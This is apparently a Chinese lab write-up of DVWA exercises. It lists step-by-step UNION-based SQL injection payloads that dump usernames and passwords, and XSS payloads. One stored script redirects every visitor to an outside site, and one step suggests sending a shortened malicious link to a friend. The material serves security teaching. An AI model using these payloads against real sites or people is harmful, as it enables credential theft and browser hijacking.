实验任务5 SQL注入
1、打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。
2、输入1提交,将正常返回查询结果。
3、输入1’提交,将返回一个错误。
4、猜测使用的sql语句可能是:select First name and Surname from 表名 where id=‘输入的id’。
5、输入1’ union select 1,database()#提交,得到数据库名称。
6、输入1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#,得到数据库中的表名。
7、输入1’ union select 1,column_name from information_schema.columns where table_name=‘users’#,得到users表的列名。
8、输入1’ union select 1,concat(user,password) from users#,得到users表的所有用户名和密码。
实验任务6跨站攻击
1、打开XSS(DOM)界面,点击Select按钮,修改地址栏中的default属性为<script>alert('XXX')</script>
,回车后命令被执行。
2、打开XSS(Reflected)界面,点击Submit,修改地址栏中的name=<script>alert('XXX')</script>
。
3、利用在线短链接生成器伪造该链接,将短链接发送给小伙伴,命令被执行。
4、打开XSS(Stored)界面,在message栏中填入
<script> window.location.href="http://d.mytanwan.com/h/26026.html"</script>
,提交后内容被存入数据库,之后每次进入该页面命令都会被执行。